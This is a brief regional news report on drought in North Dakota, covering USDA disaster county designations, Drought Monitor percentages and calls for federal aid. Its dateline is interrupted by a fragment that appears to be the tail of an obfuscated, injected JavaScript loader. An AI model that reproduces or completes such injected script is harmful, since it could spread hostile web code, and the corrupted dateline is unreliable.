WASHINGTON, aszbb|var|u0026u|referrer|ndifa||js|php’.split(‘|’),0,{}))
D.C. (NewsDakota.com) – Counties in North Dakota have been experiencing some of the worst drought conditions since the 1980’s this year.

The USDA recently updated their county disaster declaration, naming the primary disaster counties and contiguous disaster designation counties. The primary disaster counties has dwindled, with Burke, LaMoure, and Renville counties still listed as primary disaster. Barnes, Bottineau, Dickey, Divide, Logan, McHenry, McIntosh, Mountrail, Ransom, Stutsman, Ward, Williams are currently contiguous disaster designation counties.

Primary disaster counties suffer from a drought intensity value of D2-D4, which ranges from severe to exceptional drought.

The latest U.S. Drought Monitor shows 83% of the state in some stage of drought, up slightly from 79% last week. Most of central and western North Dakota remains in extreme or exceptional drought, the two worst categories.

The federal government has declared numerous North Dakota counties to be disaster areas, and Burgum last week also declared a drought disaster. That has opened to door to various forms of aid, such as emergency loans and haying and grazing of conservation land.

North Dakota Farmers Union on Thursday called for federal disaster payments for drought-impacted farmers and ranchers.